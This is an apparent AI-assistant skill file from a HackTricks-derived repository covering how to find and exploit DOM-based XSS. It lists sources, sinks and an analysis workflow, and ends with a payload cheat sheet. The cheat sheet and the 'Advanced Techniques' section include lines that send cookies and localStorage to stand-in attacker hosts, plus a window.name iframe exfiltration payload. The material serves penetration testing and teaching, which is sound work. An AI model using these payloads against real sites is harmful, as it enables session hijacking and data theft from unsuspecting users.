Hacktricks-skills dom-xss-analysis

Analyze web applications for DOM-based Cross-Site Scripting (XSS) vulnerabilities. Use this skill whenever the user needs to find, understand, or exploit DOM XSS issues in JavaScript code, HTML pages, or web applications. Trigger on requests about DOM vulnerabilities, JavaScript injection, unsafe sinks, source-to-sink data flow, or any XSS-related security testing.

install
source · Clone the upstream repo
git clone https://github.com/abelrguezr/hacktricks-skills
manifest: skills/pentesting-web/xss-cross-site-scripting/dom-xss/SKILL.MD
source content

DOM XSS Analysis

A skill for identifying and exploiting DOM-based Cross-Site Scripting vulnerabilities in web applications.

What is DOM XSS?

DOM vulnerabilities occur when data from attacker-controlled sources flows unsafely to sinks without proper validation or sanitization. This enables script execution in the victim's browser context.

  • Sources: Inputs attackers can manipulate (URLs, cookies, web messages, localStorage)
  • Sinks: Dangerous endpoints that execute or render content (eval(), innerHTML, location.href)

Quick Reference: Common Sources

// URL-based sources
document.URL
document.documentURI
document.URLUnencoded
document.baseURI
location
location.search
location.hash
location.href

// Storage sources
document.cookie
localStorage
sessionStorage
window.name

// Navigation sources
document.referrer
history.pushState
history.replaceState

// Other sources
IndexedDB
Database
postMessage()

Quick Reference: Common Sinks

JavaScript Execution Sinks

eval()
Function() constructor
setTimeout()
setInterval()
setImmediate()
execCommand()
execScript()
msSetImmediate()
range.createContextualFragment()

DOM Manipulation Sinks

someDOMElement.innerHTML
someDOMElement.outerHTML
someDOMElement.insertAdjacentHTML()
someDOMElement.setAttribute()
someDOMElement.textContent
someDOMElement.innerText
scriptElement.src
scriptElement.text

Navigation Sinks (Open Redirect)

location
location.href
location.assign()
location.replace()
location.search
open()
domElem.srcdoc

jQuery Sinks

$.html()
$.append()
$.prepend()
$.after()
$.before()
$.insertAfter()
$.insertBefore()
$.wrap()
$.wrapInner()
$.wrapAll()
$.replaceWith()
$.replaceAll()
$.parseHTML()

Analysis Workflow

Step 1: Identify Sources

Look for code that reads from attacker-controllable sources:

// Check URL parameters
const param = new URLSearchParams(window.location.search).get('id');

// Check cookies
const cookie = document.cookie;

// Check localStorage
const data = localStorage.getItem('userInput');

// Check window.name
const name = window.name;

Step 2: Trace Data Flow

Follow how source data moves through the application:

  1. Find where source data is read
  2. Track variable assignments and transformations
  3. Identify where the data reaches a sink
  4. Check if sanitization occurs between source and sink

Step 3: Identify Sinks

Search for dangerous sink functions:

// Use grep or IDE search for:
eval(
innerHTML =
outerHTML =
location.href =
location.assign(
location.replace(
setTimeout(
setInterval(
document.write(

Step 4: Test for Vulnerabilities

Once you identify a potential source-to-sink flow, test with payloads:

// Basic XSS test
<script>alert(1)</script>

// For innerHTML (script tags may be blocked)
<img src=x onerror=alert(1)>
<svg onload=alert(1)>

// For URL sinks
javascript:alert(1)

// For eval/Function sinks
alert(1)//

Common Attack Patterns

Open Redirect

Vulnerability: Attacker-controlled data written to navigation sinks

Sinks:

location
,
location.href
,
location.assign()
,
location.replace()

Exploitation:

// If you control the start of the URL:
location.href = userInput;  // userInput = "javascript:alert(1)"

// Or redirect to attacker site:
location.href = userInput;  // userInput = "https://evil.com"

Cookie Manipulation

Vulnerability: Attacker-controlled data written to

document.cookie

Impact: Session fixation, unexpected behavior

Exploitation:

document.cookie = userInput;  // userInput = "session=attacker-controlled"

JavaScript Injection

Vulnerability: Attacker-controlled data executed as JavaScript

Sinks:

eval()
,
Function()
,
setTimeout()
,
setInterval()

Exploitation:

eval(userInput);  // userInput = "alert(document.cookie)"
setTimeout(userInput, 1000);  // userInput = "alert(1)"

Document Domain Manipulation

Vulnerability: Attacker controls

document.domain

Impact: Bypass same-origin policy between related domains

Exploitation:

document.domain = userInput;  // userInput = "evil.com" (if related)

WebSocket URL Poisoning

Vulnerability: Attacker controls WebSocket target URL

Exploitation:

const ws = new WebSocket(userInput);  // userInput = "wss://evil.com/"

Link Manipulation

Vulnerability: Attacker controls navigation targets

Sinks:

element.href
,
element.src
,
form.action

Exploitation:

link.href = userInput;  // userInput = "javascript:alert(1)"
img.src = userInput;  // userInput = "javascript:alert(1)"

DOM Data Manipulation

Vulnerability: Attacker controls DOM fields used in UI

Sinks:

innerHTML
,
outerHTML
,
setAttribute()
,
textContent

Exploitation:

element.innerHTML = userInput;  // userInput = "<img src=x onerror=alert(1)>"

Advanced Techniques

Window.name Abuse

window.name
persists across cross-origin navigations and can be abused:

<!-- Pre-seed window.name with payload -->
<iframe name="<img src=x onerror=fetch('https://attacker/?c='+btoa(localStorage.flag))>" 
        src="https://target/page"></iframe>

If the target app does

element.innerHTML = name
without sanitization, the payload executes.

Template Literal Gaps

Apps that sanitize some fields but not others in template literals:

reportCard.innerHTML = `
  <div>${DOMPurify.sanitize(report.id)}</div>
  <div>${report.details}</div>  // UNSANITIZED - vulnerable!
`;

Payload:

<img src=x onerror=fetch('http://ATTACKER/?c='+document.cookie)>

Partial Sanitization Bypass

Some sanitizers only block

<script>
tags but allow event handlers:

// If only script tags are removed:
<img src=x onerror=alert(1)>  // Still works!
<svg onload=alert(1)>  // Still works!
<body onload=alert(1)>  // Still works!

Tools for Detection

Static Analysis

Dynamic Analysis

Manual Testing Checklist

  1. Identify all user-controllable inputs (URL params, cookies, localStorage)
  2. Search for dangerous sink functions in JavaScript
  3. Trace data flow from sources to sinks
  4. Check for sanitization between source and sink
  5. Test with XSS payloads appropriate for each sink type
  6. Check for window.name abuse opportunities
  7. Look for partial sanitization gaps
  8. Test stored XSS scenarios (data saved and later rendered)

Payload Cheat Sheet

For innerHTML/outerHTML

<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<body onload=alert(1)>
<input onfocus=alert(1) autofocus>
<marquee onstart=alert(1)>
<video><source onerror=alert(1)>

For URL Sinks

javascript:alert(1)
javascript:fetch('https://attacker/?c='+document.cookie)

For eval/Function

alert(1)//
fetch('https://attacker/?c='+document.cookie)//

For Cookie Exfiltration

fetch('https://attacker/?c='+encodeURIComponent(document.cookie))
fetch('https://attacker/?c='+btoa(document.cookie))

For localStorage Exfiltration

fetch('https://attacker/?d='+btoa(localStorage.getItem('flag')))
fetch('https://attacker/?d='+encodeURIComponent(localStorage.getItem('flag')))

References

When to Use This Skill

Use this skill when:

  • Testing web applications for XSS vulnerabilities
  • Analyzing JavaScript code for security issues
  • Understanding DOM-based attack vectors
  • Needing to identify sources and sinks in code
  • Looking for exploitation techniques for DOM XSS
  • Reviewing code for unsafe data flow patterns
  • Preparing payloads for specific sink types
  • Investigating stored XSS scenarios
  • Checking for window.name or localStorage abuse
  • Auditing applications for partial sanitization gaps